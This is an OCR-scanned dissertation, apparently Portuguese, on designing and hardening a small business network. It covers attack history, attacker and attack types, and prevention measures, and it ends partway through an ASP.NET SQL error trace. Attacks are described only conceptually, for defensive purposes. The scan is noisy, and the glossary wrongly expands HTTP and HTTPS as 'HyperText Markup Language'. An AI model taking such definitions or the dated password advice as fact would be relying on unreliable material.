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Resumo

Um dos temas mais debatidos na sociedade actual é a seguranca. Os niveis de
seguranca e as ferramentas para os alcangar entram em contraponto com os métodos
usados para o0s quebrar. Como no passado, a razdo qualidade/servico mantém-se hoje,
e manter-se-a no futuro, assegurando maior seguranca aqueles que melhor se
protejam. Problemas simples da vida real como furtos ou uso de falsa identidade
assumem no meio informatico uma forma répida e por vezes indetectavel de crime

organizado.

Neste estudo s@o investigados métodos sociais e aplicagcdes informaticas comuns para
quebrar a seguranca de um sistema informatico genérico. Desta forma, e havendo um
entendimento sobre o Modus Operandi das entidades mal-intencionadas, podera
comprovar-se a instabilidade e inseguranca de um sistema informaético, e,
posteriormente, actuar sobre o0 mesmo de tal forma que fique colocado numa posicéao

da seguranca que, podendo néo ser infalivel, podera estar muito melhorada.

Um dos objectivos fulcrais deste trabalho é conseguir implementar e configurar um
sistema completo através de um estudo de solugdes de mercado, gratuitas ou
comerciais, a nivel da implementacdo de um sistema em rede com todos 0s servigos
comuns instalados, i.e., um pacote “chave na mdo” com servi¢os de maquinas, sistema
operativo, aplicacGes, funcionamento em rede com servicos de correio electronico,
gestdo empresarial, anti-virus, firewall, entre outros. Sera possivel entdo evidenciar
uma instancia de um sistema funcional, seguro e com 0s servigos necessarios a um
sistema actual, sem recurso a terceiros, e sujeito a um conjunto de testes que

contribuem para o reforgo da seguranca.

Palavras-chave (Tema): Informéatica,  seguranca, redes,  network
hardening.
Palavras-chave (Tecnologias): Sistema operativo, firewall, Web, Wi-Fi

Protected Access.
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Abstract

One of society’s currently debated issues is security. The security levels and tools to
reach them fight a never-ending battle with the methods used to break them. As it was
in the past, the quality/service ratio is still the establishment point for an optimized
and customized security level. Simple life problems as robberies and identify thefts
assume in the computer world a faster and sometimes untraceable way of organized

crime.

In this study there will be investigated social methods and computer applications that
break generic computer systems’ security. Thus, having a notion on the Modus
Operandi of these badly intentioned identities, it will be possible to prove the
instability and insecurity of a computer system. Also, it will be possible to foresee the
system’s evolution and proceed with security implementation in such a way that the
system security, although not unbreakable, becomes optimized to harden the breaking

process.

On the most important objectives of this dissertation is to implement security with a
market study of free and commercial solution, allowing to build a complete
networking system will the most commonly used services: computers, operating
system, applications and networking services such as mail, enterprise management,
anti-virus, firewall, among others. This way, it will be possible to specify a fully
functional safe system with the necessary services needed by existing requirements
and without recourse to third-party services.

Keywords (Subject): Computer  science, security, networking,

network hardening.

Keywords (Technologies): Operating  system, firewall, web, Wi-Fi

Protected Access.






Résumeé

La sécurité est un theme plus discuté dans la société d aujourd”hui. Les niveaux de
sécurité et les outils a les atteindre viennent en contrepoint avec les méthodes utilisé
pour les surmonter. Comme dans le passe, la raison qualité/service garde aujourd”hui,
et garde dans le future, assurer une plus sécurité aux les mieux protégées. Problemes
simple de la vie comme cambriolage ou fausse identité devenaient, dans
I’environnement ordinateur, une rapidement forme et, parfois, un indétectable crime

organise.

Dans cette étude, les methodes social et applications de I’ordinateur commun sont
enquétes pour pause la sécurité d’un systeme de I’ordinateur. Ainsi, et étre une
compréhension sur le “Modus Opérande” d’entités mal intentionnés, pourrais se
prouver l'instabilité et I'insécurité d’un systéme d’ordinateur, et, la suite, agir sur la
méme de sorte que reste placé dans une position de sécurité qui, peux n’étre pas

infaillible, pourrais étre amélioré.

Un principal objectif de cet travaille est établir cette sécurité avec un étude de
solutions de marché, gratuits et commercial, aux niveau de la mise en ceuvre total
d’un systeme en réseau avec toutes les services communs, i.e., un paquet “clés en
main” avec services d’une machine, systeme d'exploitation, applications, travail en
réseau avec services e-mail, gestion des entreprises, anti-virus, firewall, entre autres.
Sera possible ainsi montrer une option d’un systéeme fonctionnelle, en sécurité et avec

les services plus important pour un systéme actuel sans le recours a des tiers.

Mots-clés (Théme): Informatique, sécurité, réseau, durcissement de
réseau.
Mots-clés (Technologies): Systeme opérative, firewall, web, Wi-Fi

Protected Access.
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Notacao e Glossario

DHCP

Dynamic Host Configuration Protocol. E um protocolo usado em redes
de computadores que permite que sejam atribuidos enderecos IP

automaticamente aquando da conecc¢éo dos hosts a rede.

DMZ

Demilitarized Zone. E uma zona ldgica de uma rede usada para colocar
servigos de acesso directo ao exterior, nos quais o grau de exigéncia
para a seguranga € menor, permitindo também resguar o sistema

interno, separando-o dos restantes servicos.

DNS

Domain Name System. Sigla que representa um servidor de nomes que

traduz enderegos de nomes em enderecos IP.

DoS

Denial of service. Tipo de ataque no qual se pretende bloguear o
sistema fazendo um ndmero de conexdes de tal forma elevado que o

sistema fique bloqueado.

Firewall

E um dispositivo de uma rede de computadores que tem por funcio
regular o trafego de rede entre redes distintas e impedir a transmissao
e/ou recepcdo de dados nocivos ou ndo autorizados de uma rede para

outra.

FTP

File Transfer Protocol. Protocolo de transferéncia de ficheiros em

redes.

Hacker

E um termo atibuido a pessoas que criam e modificam software e
hardware de computadores com o intuito de aquirir informacéo.
Dependendo do tipo de hacker, pode utilizar a informacdo que detém
para informar organizacdes de vulnerabilidades inerentes ou utiliza-la
em proveito préprio, procurando reconhecimento, informacéo

previligiada ou mesmo compensagdes monetarias.

HTTP

HyperText Markup Language.

HTTPS

HyperText Markup Language Secure. Protocolo de transferéncia com

encriptacdo SSL.
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On the fly

Expressdo que sugere algo que é feito instantaneamente, na hora, sem

esperas ou atrasos.

Open-

source

Expressdo que representa “codigo aberto”, i.e., liberdade de
visualizacdo e modificacdo de um conteldo, particularmente

relacionado com codigo fonte de aplicagdes.

Plain text

Expressdo que representa texto puro, “as claras”, passivel de ser

directamente lido por terceiros.

Virtual

Server

Um servidor virtual permite obter toda a funcionalidade de um servidor
fisico, sem recorrer a uma maquina fisica independente. O servidor
virtual tira partido do hardware da maquina host, utilizando-o como
seu. Apesar da perda de substancial de desempenho, esta técnica

permite ter varios servidores independentes dentro de uma sé maquina.

RAID

Redundant Array of Inexpensive Disks. O RAID é conhecido como um
esquema de armazenamento de dados que permite replicar e distribuir
informacao entre multiplos discos rigidos, com o objectivo de melhorar

o desempenho e/ou desenvolver métodos de recuperacdo apos falha.

Spyware

Programas que normalmente estdo relacionados com publicidade e
troca de informacdes do computador do cliente para um servidor, sem 0
conhecimento do mesmo. Sdo uma espécie de virus ndo destrutiva e por
vezes ndo sdo detectaveis por aplicagdes anti-virus, mas sim por novas

aplicagOes denominadas “anti-spyware”.

SQL

Structured Query Language

SSID

Service Set Identifier. Identificador de um servigo. Utilizado durante

este projecto para designar o “nome da rede” em redes sem fios.

SSL

Secure Sockets Layer. Protocolo de seguranca que permite encriptar a

informacdo para evitar a sua leitura por terceiros.

Virus

Programa que é executado numa maquina com ou sem conhecimento
do utilizador e que tem como alvo a integridade, disponibilidade ou

confidencialidade da informacao.

VPN

Virtual Private Network. E uma rede simulada para utilizacdo em
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comunicagbes privadas entre organizagdes. E construida em sobre uma

rede de comunicaces publica.

Worm

Tipo de programa que se aloja na maquina-cliente e executa um
determinado numero sequencial de operacGes. Normalmente, este
conceito estd associado ao furto de informacdo e ndo a actividade

destrutiva, ao contrario dos virus.
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1 Introducéo

A seguranca informaética sera o tema principal deste estudo. Sera desenvolvido um
sistema em rede com 0s servicos necessarios ao funcionamento do mesmo sem
necessidade de recursos de terceiros. Serd efectuado um estudo prévio para determinar
as solucdes de mercado que melhor se adequam ao desenvolvimento de um sistema
deste tipo, as necessidades de um determinado publico-alvo, e a relacdo
qualidade/preco. Por fim, o sistema ir4 ser testado num ambiente de inseguranca
controlada para detectar vulnerabilidades e melhorar a seguranga do mesmo.

1.1 Enquadramento

O mercado das novas tecnologias estd em constante mutacdo. Muitas empresas
desenvolvem produtos variados, utilizando cada vez mais arquitecturas orientadas a
servicos. Aspectos como a instalagdo de maquinas em rede com sistemas de
facturacdo, péaginas Web e correio electrénico, sdo cada vez mais requerimentos
basicos a qualquer empresa. Este projecto tem associada uma visdo na qual um cliente
ou conjunto de clientes adquire um pacote de multiplos servigos que incluem todo o
material fisico e logico necessario a uma organizacdo genérica, i.e., qualquer
organizacdao, sem qualquer conhecimento ou produto base, é capaz de obter um
sistema informatico completamente funcional através de um pacote completo

composto de:
e Maquinas e cabos

e Interligacdo em rede com seguranca (firewall interno e externo e outras

aplicacdes)
e Ligacdo a Internet (atraves de associacdes a ISPs)
e Gestdo Empresarial e Documental (Servidor SharePoint)

e Pagina Web, servico de correio electrénico, FTP, VPN e acesso remoto
(Servidor Web)

Numa perspectiva comercial, este pacote podera ser escalonado proporcionalmente ao

tamanho e necessidades da organizacao.



1.2 Apresentacao do projecto

Este projecto é um estudo e consequente implementacdo de um sistema completo e
funcional em rede, seguindo-se diversas baterias de testes para submeter todo o
sistema a intervencdes de melhoria que permitam obter um maior nivel de seguranca.
Todas as opcdes tomadas, desde a montagem do sistema, escolha de maquinas e

aplicacdes, serdo documentadas.

De um modo geral, pretendem-se instalar 3 maquinas fisicas (servidor Web, servidor
DNS e firewall) e 1 maquina virtual (SharePoint). Apés a instalacdo e configuracao
do sistema, serdo efectuados testes ao mesmo e analisada a inseguranca existente. De
seguida, sera desenvolvido um processo de reconfiguracdo do sistema para obter um
maior nivel de seguranca, de acordo com um conjunto de politicas previamente

definidas.

1.2.1 Planeamento de projecto

o | WBS ‘Task Name ‘ Duration ‘ Start ‘ Finish Predecessors
1 1 = Investigagdo 23 days  Mon01-1208 Wed 31-1208
2 | 11 Estudo histdrico Sdays ~ Mon 01-12-08 Sun 07-12-08
3 E 1.2 Desenvolvimento do Estado da Arte S days Mon 08-12-08  Sun 14-12-08
4 | 13 Enumeracdo das tecnologias actuais a usar 13days  Mon 15-12-08 Wed 31-12-08
5 2 [ Implementagdo Pratica 107 days Thu 01-01-09  Sun 31-05-09 1
6 [ 21 Decisies estratégicas de implementacio 12 days ~ Thu 01-01-0%  Sun 18-01-0%
7 | 22 Montagem fizica do sistema: maguinas e cabelagem Z0days| Mon 19-01-08  Sun 15-02-09
8 | 23 Instalacdo de aplicactes de sistema 20 days ~ Mon 18-02-09  Sun 15-03-09
8 | 24 Interligacéo de servicos em rede 12days| Mon 16-03-08 Tue 31-03-09
10 E 25 Configuracdes do sistema: disponibiizacdo para o exterior 43 days ~ Wed 01-04-05  Sun 31-05-05
14 3| B Testes 66 days ~ Mon 01-06-09 Mon 31-08-09 2
12 |EH 31 Testes de seguranca / exposicdo de vulnerabilidades 22 days Mon 01-08-08  Tue 30-08-0%
13 |FH 32 Reconfiguracdo do Sistema / Optimizacio Z3days Wed 01-07-09 Fri 31-07-08
14 E 33 Testes Finais / Conclusdes 21 days Mon 03-08-08 Mon 31-08-08

Figura 1 — Calendarizacéo do projecto
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Figura 2 — Calendarizacéo (Parte 1)
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Figura 3 — Calendarizacéo (Parte 2)

No primeiro més sera feito um estudo aprofundado sobre o Estado da Arte.
Aplicagdes actuais, vulnerabilidades em exploracdo, métodos e politicas de seguranca

e decisdes comerciais sobre maquinas/produtos a usar serdo aqui abordados.

Posteriormente havera um periodo de 5 meses, no qual serd montado todo o sistema
fisico, instalados sistemas operativos e aplicacbes, e configurada a rede. Sera
sucintamente documentado o trabalho desenvolvido neste periodo.

No restante periodo de tempo sera estudado o sistema, sendo executadas baterias de
testes na oOptica de um atacante visando “furar” o sistema e “quebrar” o mesmo
através de ataques de disponibilidade, confidencialidade e integridade, que serdo
tratados na sec¢do de implementacdo pratica. Estes testes servirdo para comprovar a
inseguranca do sistema e implementar solugbes apropriadas para corrigir 0S

problemas encontrados anteriormente e prevenir problemas futuros.

No proximo capitulo sera efectuada uma contextualizacdo ao nivel de maquinas e
aplicacdes actuais, e procurada uma solucdo de implementagdo que sirva 0s

propdsitos deste projecto.






2 Contexto

Numa primeira aproximacao, o sistema a implementar é o seguinte:

Vi)

Figura 4 — Prototipo do sistema a implementar

Pretende-se criar um sistema que englobe servicos como paginas Web empresariais,
gestdo documental, servidor de ficheiros, webmail, firewall e servigcos para permitir o

trabalho por via remota.

A primeira decisdo a tomar é o numero de maquinas. Sendo que estdo disponiveis
para implementacdo trés maquinas fisicas, optou-se, por motivos se seguranca e

organizacao de servicos, por manter um servidor por cada servicgo principal:
e Servidor de dominio [1]

e Servidor de firewall

e Servidor Web (http / ftp)

e Servidores virtuais: gestor documental [2] e servico de correio electonico
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2.1 Tecnologias a utilizar

Apdbs um pequeno estudo de mercado, foram encontradas varias possibilidades a nivel
de software e hardware.

Um aspecto em constante debate é o uso de aplicacdes open source, isto €, aplicacdes
que, tendo a vantagem de ndo terem um custo associado, tém a desvantagem de na
grande parte dos casos, ndo haver qualquer tipo de assisténcia “pds-venda” [3].
Guerras a parte, o importante é que se pensem nos objectivos em questao e no publico

a que se destinam.

Tabela 1 — Aplicacdes Proprietario VS Aplicaces Open Source

Aplicac¢des Proprietario Aplicagbes Open Source
Solucéo algo cara Solucdo muito barata (a curto prazo)
Experiéncia garantida do cliente final Pouca experiéncia do cliente final

Experiéncia substancial de quem vai implementar

Actualizagdes e correcgdes garantidas Assisténcia e actualizagdes dificeis

Potencialidades por vezes limitadas Maiores potencialidades (contribuidores)

Maior compatibilidade de hardware Menor compatibilidade de hardware

Posto isto, e seguindo as caracteristicas do mercado e dos potenciais clientes, foi
decidido usar maioritariamente tecnologias Microsoft. Podera ser implementado um
servidor Linux como firewall para diminuir custos e ter maior controlo sobre os dados
[4] (do que p. ex. no ISA Server da Microsoft) aproveitando para colocar neste

servidor outros servicos.

Sistema a implementar:

e IBM Desktop Servers Dual Core 2.0GHz 2GB DDR?2
e Microsoft Windows Server 2003

e Microsoft SharePoint Server 2007

e Microsoft Outlook Web Access

e Linux + Shorewall / ISA




3 Estado da arte

“Nao é possivel sabermos realmente qguem somos e onde estamos, sem que saibamos

de onde viemos.”

Este capitulo vem descrever o panorama das tecnologias informaticas e da sua
evolucdo ao longo do tempo, considerando as fragilidades e os abusos afectos aos

sistemas até a actualidade.

3.1 Passado

A seguranca é um conceito que existe desde sempre. Se olharmos para o passado de
uma forma abstracta podemos comparar os niveis de defesa dos castelos antigos com
os niveis de defesa informatica de organizacGes governamentais da actualidade.
Muitas vezes, estudando os primeiros, podemos aprender muito sobre como optimizar
a seguranca para os segundos. Um exemplo deste tipo de seguranca € a defesa em
profundidade. Neste caso, é implementada seguranca em diversas camadas individuais

para que, quebrando-se uma camada, ndo seja suficiente para quebrar o sistema.

Outra forma de aprender com o passado € através da historia recente. Como podemos
verificar na cronologia de factos tecnoldgicos relacionados com a inseguranga
electronica [5], na criacdo de uma nova tecnologia, prosseguem-se rapidamente

tentativas de uso indevido dessa mesma tecnologia.

e Em 1971 surge uma primeira aproximagcdo do termo “Hacker”, mais
concretamente “phreker”, ou seja, um individuo que conseguiu quebrar um
sistema com a particularidade de se tratar de um sistema telefonico, e nao

computacional.

e Em 1985 é publicado no Reino Unido o “Hacker’s Handbook”, um livro escrito
por Hugo Cornwall sob o pseudonimo de Peter Sommer. Este livro explicava
efectivamente como quebrar os sistemas computacionais da época. Existem livros

electronicos semelhantes sobre as tecnologias da actualidade.




Em 1988 Robert T. Morris Jr. Da Universidade de Cornell langa o worm “Morris”
na ARPAnet, antecedente da Internet, tendo infectado cerca de 6.000 maquinas e

bloqueado servidores governamentais e universitarios.

Em 1994 crackers russos desviam 10 milhGes de dolares do Citibank e
transferem o dinheiro para contas bancérias a volta do mundo. Vladimir Levin, o
lider do gang electronico usa o seu portatil de trabalho algumas horas apos
transferir os fundos para contas na Finlandia e em Israel e é apanhado e
sentenciado a trés anos de prisdo. As autoridades recuperam a maior parte dos
valores, tendo ficado desaparecidos 400 mil dolares.

Em 1995 é preso Kevin Mitnick [18]. Comecou por se aventurar nas novas
tecnologias até que conseguir penetrar no computador da escola e alterar as suas
notas. Apds pequenos delitos atraves de redes telefonicas e organizacdes ligadas a
tecnologia que culminaram num ano de prisdo, Mitnick viola a liberdade
condicional intensificando a actividade como hacker, quebrando e utilizando
aplicacbes ilegalmente. E entdo encontrado e preso entre 1995 e 2000.

Actualmente trabalha como consultor de seguranca na Web.

Em 1997 um jovem croata de 15 anos penetra nos computadores da forca aérea

dos Estados Unidos em Guam.

Em 1999 o virus criado por Chen Ing Hau denominado CIH ou Chernobyl ou
ainda Spacefiller, ataca em forca, tendo grandes capacidades destrutivas, podendo

infectar informacdo em discos de sistema ou mesmo corromper a BIOS [19].

Maio de 2000. Um estudante filipino desenvolve durante a sua tese o worm
“iloveyou”. Considerado um dos worms mais destrutivos de sempre, infectou
milhdes de pessoas em todo 0 mundo em poucas horas, e tinha por objectivo fazer
modificagbes maliciosas no sistema do utilizador, e reenviar-se para todos 0s

contactos da lista do mesmo.

Fevereiro de 2001. Um cracker russo lanca o virus “Anna Kournikova”,
iniciando uma série de virus que levam o utilizador a abrir ficheiros infectados em
anexos de correio electrénico. Neste caso, a “prenda” era uma fotografia da
conhecida tenista russa.




e Agosto de 2009. Um utilizador russo “Cyxymu” do twitter, facebook, entre
outros, viu todos os seus servicos atacados em simultaneo. Georgy — o blogger em
questdo — tem feito algumas declaragdes nas quais descreve a sua teoria sobre as
guerras entre a Russia e a Georgia sobre a disputada Ossétia do Sul, e afirma ter
sido algo constante de represalias por parte da Russia [16]. Segundo a Cnet, tal
ataque apenas poderia ser possivel utilizando dezenas de milhares de
computadores e s6 um grande poténcia com 0S recursos necessarios 0 poderia
conseguir [17].

e Setembro de 2009. Clientes da Caixa Geral de Depdsitos em Portugal expdem nos
meios de comunicacdo social como foram vitimas de furto electronico [52] por

usurpacao das credenciais através de técnicas de Phishing [52].

Ao comparar 0 passado com o presente, verifica-se que as diferencas ndo estdo no
contetdo, mas sim na forma. A evolugdo natural levou a que se utilizassem novas
ferramentas de proteccdo versus ataque, mantendo-se 0s conceitos e motivagoes

teoricas.
Sendo vejamos as caracteristicas de ataques a sistemas na tabela seguinte.

Tabela 2 — Objectivos e ataques a sistemas

Ataques
Interrupcdo | Intercepcdo | Modificacdo | Fabricacdo
Obijectivos
) o Atitude
Disponibilidade _
destrutiva
Acesso
Confidencialidade indevido a
dados
AlteracOes
Integridade indevidas a
dados
Criacao
Autenticidade indevida de
informacao




3.2 Problemas

Grande parte dos problemas que assolam a actualidade nas pequenas e médias

empresas sdo relacionados com virus e worms, e também com o roubo de informacéo
[12].

Os principais problemas na (in) seguranca dos sistemas actuais sdo:

Facilidade de acesso fisico (interno e/ou externo) a dispositivos de rede

(servidores, routers, modems, maquinas com permissfes avangadas, entre outros)
Engenharia Social: obtencdo de informacéo por falsificacdo de identidade
Ataques a vulnerabilidades existentes no sistema

Ataques de escuta para obtencédo de dados nao encriptados

Ataques de identidade que procuram obter acessos a sistemas

De seguida serdo descritos alguns dos agentes ligados a ataques a seguranca.

3.2.1 Tipos de atacantes

Existem diversos tipos de individuos com as mais variadas capacidades e objectivos,

tendo em comum a capacidade de modificar ou aceder a um sistema [11].

Hacker, aquele que procura quebrar a seguranca com fins destrutivos ou para

posse de informacdo privilegiada.

White Hat Hacker, hacker “ético”, interessado por seguranca, procura explorar e
testar os sistemas através dos seus conhecimentos, dentro da lei, procurando por

vezes advertir as proprias organizacdes para as falhas que encontra.

Gray Hat Hacker, muito semelhante ao White Hat Hacker, com a particularidade
de ter uma nocdo menos restrita de “ética”, cometendo por vezes pequenas

infracgOes, mas sem ultrapassar o limite da criminalidade.

Black Hat Hacker, também denominado cracker, pois é aquele que quebra
efectivamente codigo para modificar ou aceder a um sistema, sem quaisquer ética

ou preocupacdo. S&o especialistas em invasdes maliciosas e silenciosas que visam
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muitas vezes o crime organizado, utilizacdo de informacdo confidencial para

proveito proprio, ou simples actividade destrutiva.

Newbie, iniciado ou novato, que apesar de ter poucos conhecimentos, tem grandes
bases e enorme vontade de aprender. Pode concretizar pequenos ataques com base

na informac&o que vai apreendendo mas normalmente € inofensivo.

Cracker, termo efectivo para alguém de quebra codigo. Pode ser alguém que
altera uma aplicacao para evitar, p. ex., ter que a comprar, ou pode ser associado a

actividades de penetracdo em sistemas (considerando-se Black Hat Hacker).

Lammer, aquele que acredita e apregoa ter capacidades comuns a hackers, sem
na verdade ter grandes conhecimentos. Limita-se a usar ferramentas criadas por
hackers para prejudicar particulares ou pequenas organizagGes, sendo alvos de

gozo e desprezo por parte dos mais experientes.

Phreaker, termo equiparado ao Hacker com a particularidade de se tratar de um

ambiente telefonico e ndo computacional.

3.2.2 Tipos de ataques

Man-in-the-middle attack, individuo que se coloca a “escuta” normalmente
usando uma porta bem conhecida [20] para capturar informagéo entre um emissor

€ um receptor.

Denial of service (DoS, DDoS), este ataque que consiste em sobrecarregar um
sistema através de ligacOes simultaneas. Estas ligagdes tém o intuito de
desencadear falhas que coloquem o sistema numa posicdo fragilizada, abrindo
brechas de acesso, ou simplesmente para conseguir torna-lo indisponivel. O
ataque distribuido (DDoS) tem a particularidade de ser executado por varios

sistemas tendo cada um deles o mesmo sistema-alvo.

Ping of death, ataque que consiste em enviar sucessivamente mensagens com
tamanho maior que os 65.536 bytes permitidos pelo protocolo IP. Uma ferramenta

deste género € o sPing.

Buffer overflow, este ataque € tipicamente um erro comum entre programadores,

acontecendo quando uma aplicacdo recebe dados com um tipo ou tamanho
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inesperado, ndo havendo tratamento da excepgdo. Provocado na rede, este ataque

permite

e Spoofing & poisoning, estes conceitos podem ser aplicados a protocolos como o
IP, DNS, 0 ARP e 0 DHCP, e séo por vezes usados em conjunto para permitir um
ataque mais bem sucedido. O spoofing consiste em falsificar uma identidade
receptora, levando o emissor e comunicar normalmente com o atacante. O
poisoning consiste em modificar um pacote, adulterando o seu contetdo em

proveito do atacante.

e Ataque de autenticacdo, este € um tipo de ataque que visa obter acesso a um
sistema sem ter credenciais para o fazer. Este processo pode ser executado de

diversas formas:

o0 Deducéo, no qual o atacante tenta adivinhar os dados (atraves de dados
pessoais do titular da conta, usando o sistema de recuperagdo de chaves

por pergunta/resposta, entre outros)

o Forca bruta, atraves de aplicacbes que testam multiplas combinagfes de
chaves por segundo usando dicionarios de palavras ou conjuntos de

caracteres. Um exemplo é o John the Ripper [15].

o Sniffers, estas aplicagOes executadas em rede permitem capturar pacotes
transmitidos entre um emissor e um receptor, em busca de palavras que
possam tratar-se de palavras-chave. Estes aplicativos podem mesmo

desencriptar os dados caso nédo circulem em plain text.

Na préxima sec¢do serdo exemplificados estes problemas e dadas potenciais solugdes

para o0s evitar.
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3.3 Possiveis Solucgbes

3.3.1 Prevencao

Existem actualmente diversos meios para averiguar e determinar falhas criticas na

seguranca de sistemas.

Uma forma é através de aplicacOes rectificativas como o “Microsoft Baseline
Security Analyzer” (MBSA) [6] ou 0 Nmap [7].

Estes aplicativos apresentam funcionalidades como indicar ao utilizador
actualizacbes de seguranca disponiveis ao sistema, apresentar solugdes de
configuracdo diferentes e mais seguras, e enumerar politicas de seguranga que

possam prejudicar a confidencialidade dos dados.

Outra forma é através de verificacdo constante de websites relacionados com
falhas de seguranca, como o Microsoft Security Buletin [6], o Common

Vulnerabilities and Exposures (CVE) [9] e o Security Focus [10].

Um dos M.O.s dos hackers é estudar as vulnerabilidades existentes e desenvolver
formas para os explorar. Por outro lado, muitos dos security updates lancados
pelas organizacGes para corrigir falhas nas aplicacGes, sdo encontradas e indicadas
por hackers que ndo tém intencdo de usar ou destruir a informagdo apds se

apoderarem dela (o chamado White Hat Hacker) [11].

Usar proteccdes anti-virus, anti-spware e anti-spam, tendo sempre consciéncia de
gue mesmo com todas estas proteccgdes, cabe ao cliente final o cuidado adicional

com as aplicacdes que executa e a informacdo que disponibilizada para o exterior.

3.3.2 Instalacéo

A fase de instalacdo e configuracdo de um sistema é crucial. E a fase que ira ditar o

desenvolvimento do sistema para um sistema soélido, fiavel e seguro — se

correctamente configurado — ou, por outro lado, um sistema instavel, com falhas e

vulnerabilidades a descoberto que coloquem em causa a integridade e

confidencialidade da informagé&o.
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Em primeiro ligar — e normalmente descartavel — é o posicionamento fisico. Uma boa
estratégia é fundamental para prever futuras alteracBes e evolugbes do sistema.

Algumas ideias sao:

e Colocar servidores em lugares de dificil acesso pelos utilizadores, e
preferencialmente em salas bem ventiladas e centralizadas para facilitar a

passagem de cabos.

e Colocar access points em lugares estratégicos, com altura suficiente para nao
serem acessiveis, e apés haver um estudo de posicionamento no caso de haverem
varios access points, para que haja compensagdo (ndo estarem longe demais uns
dos outros) e distanciacdo (suficientemente afastados para diminuir 0s gastos com
os dispositivos). Se necessario, poder-se-a regular a poténcia destes dispositivos
para limitar o sinal, p. ex., aos limites de um determinado edificio. N&o esquecer
de mudar a palavra-chave de fabrica do access point e definir uma proteccao
para a rede sem fios (WLAN).

e Podera ser interessante estudar o tipo de cablagem e dispositivos a usar na rede, na
oOptica da evolucdo. Opcbes mais caras como a fibra Optica poderdo relevar-se

bons investimentos a longo prazo.

As aplicacBes a usar devem adequar-se ao sistema, ora na Optica da gestdo de
recursos, ora na optica da experiéncia anterior. A decisdo entre software proprietario e
software open-source podera ter que ser tomada apds um estudo especifico da
organizacdo, e da compatibilidade entre as aplicacfes a usar e as aplicacdes que a

organizacao ja detém, se algumas.

Apos o estudo e seleccdo das tecnologias entra a fase de instalacdo e configuracéo do
sistema. Cablagem, diviséo das redes e sub-redes, actualizacdes ao sistema, instalacéo
de anti-virus e anti-spyware, gestdo de politicas e aplicacBes de monitorizacdo sdo,
apos garantidas as condicdes fisicas Optimas, as caracteristicas principais de qualquer
sistema, e irdo ditar 0 sucesso ou insucesso da seguranca. Estes conceitos serdo

descritos em pormenor na seccao de implementacdo pratica.
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3.3.3 Politicas de seguranca

As politicas de seguranca sdo regras complementares aplicadas a um sistema para

delegar permissdes de utilizadores a servicos, bem como priva-los desse acesso.

Cada vez mais séo utilizadas nas pequenas e méedias empresas:

e Aumentar a produtividade bloqueando servigos desnecessarios ao pessoal
e Registar acessos ou tentativas de acessos a servicos

e Organizar permissdes de acesso entre grupos de utilizadores (p. ex.,

administrador, gestor e utilizador comum)
e Permissdes de modificacdo / instalacdo de aplicacdes

e Permissdes de modificacdo de configura¢fes da maquina

3.3.4 Formacéo

Antes de encher uma organizacdo com tecnologia de ponta, € boa pratica estudar o
sistema e planear estratégias para formar e delegar a pessoas e maquinas, elevados
padrdes de seguranca. Algumas informacGes que devem ser dadas aos utilizadores
séo:

e As palavras-chave ou palavras-chave nunca sdao pedidas, pois na maior parte dos

caso estdo encriptadas, e sendo perdidas, faz-se a reposi¢ao por uma nova;

e Conceitos de Engenharia Social (pessoas que se fazem passar por Administradores
do Sistema e outros para pedir dados confidenciais). Nunca fornecer informacéo

do sistema a desconhecidos e nunca dar informagéo crucial por telefone.

e Utilizar palavras-chave complexas (minimo 5 caracteres, com utilizacdo
simultanea de digitos e letras e com pelo menos um caracter especial como “_, @,

&”) e altera-las periodicamente (p. ex. mensalmente).

e Negar como ac¢do por omissdo. Se um utilizador estiver num impasse sobre uma

opcao que cologue em risco a seguranca do sistema, e caso ndo se sinta capaz de
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entender o propdsito da questdo, deve contactar o administrador do sistema, ou em
ultimo caso, negar o pedido de acesso.

Mails de phishing. Actualmente, esta € uma técnica em ascengdo, com o intuito de
adquirir dados pessoais do utilizador. Mails que tenham hiperligacGes para sites
exteriores devem ser verificados, pois a maioria ndo corresponde ao texto que é

apresentado, o que indica um possivel falso endereco.

3.3.5 Segurancade aplicacdes Web

Uma vez que este projecto inclui a utilizacdo de servidores Web com paginas

acessiveis pelo exterior, podera ser interessante focar alguns aspectos da seguranca de

aplicacdes que normalmente séo descurados. Alguns foram encontrados no decorrer

deste projecto.

N&o colocar na pasta da aplicagdo Web quaisquer ficheiros adicionais. A pasta
deve conter apenas os ficheiros previstos na solugdo da instalacdo. Colocar outros
ficheiros pode levar a que seja informacdo de facil aquisicdo por terceiros, e

mesmo uma forma de entrar no sistema.

Dissimular erros nas paginas. Sempre que a pagina falta por qualquer motivo,
como p.ex., falha no acesso a recursos, € comum aparecerem paginas de erro por
omissdo. Estas paginas por vezes disponibilizam informag&o como o software e
versdo do IS que se esta a usar. Esta informacdo pode ser suficiente para um
atacante iniciar um processo de tentativa de abuso de recursos. E de qualquer
forma, certamente ndo serd a forma mais agradavel para o utilizador se deparar

com um erro, como € possivel verificar nas figuras seguintes.
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Server Error in '/Top1l0WebConfigVulns' Application.

Unclosed quotation mark after the character string .
Incorrect syntax near "

Description: &n unhandled exception occurred during the execution of the current web request. Please review the stack trace for more
information sbout the error and where it ariginated in the code.

Exception Details: System Data SqlCliert SgException; Unclozed guotation mark after the character string .

Incorrect syntax near "

Stack Trace:

[SqlException (0x80131904): Unclosed quotation mark after the character string

Incorrect syntax near

System.Da‘ta.Sq]C]'ien‘t:
L5qlInternalConnection.OnError(SqlException exception, Boolean breakConnection)

System.Data.sqlClient

System.Data.5qlClient.
System.Data.sqlClient.
System.Data.5qlClient.
System.Data.sqlClient.
System.Data. 5qlClient.
System.Data.SqlClient.
System.Data.5qlClient.
System.Data.sqlClient.
System.Data.sqlClient.
System.Data.sqlClient.

sglConnection.OnError{5qlException exception, Boolean breakConnection) +857450

TdsParser. ThrowE<ceptionAndWarning{TdsParserStatedbject statelby) +188
TdsParser.Run{RunBehavior runBehavior, SqlCommand cmdHandler, SglDataReader dal
SqlDataReader.ConsumeMetabatal) +31

sglDataReader.get_MetaData() +62

SglCommand. FinishExecuteReader{SglDatakeader ds, RunBehavior runBehavior, Strir
SqlCommand. RunExecuteReaderTds (CommandBehavior cmdBehavior, RunBehawior runBeh:
Sqlcommand. RunExecuteReader {CommandBehavior cmdBehavior, RunBehavior runBehawic
SqlCommand. RunExecuteReader {CommandBehavior cmdBehavior, RunBehavior runBehawic
SqliCammand. ExecuteReader (CommandBehavior behavior, String method) +122
Sqliconmand, ExecuteDbDatakeader (CommandBehavior behavior) +12

System.Data. Common. DbCommand. System.Data. IDbCommand. ExecuteReader (CommandBehavior behavior) +7
System.Data.Common.DbDatatdapter.FillInternal (DataSet dataset, DataTable[] datatables, Int32 startRec
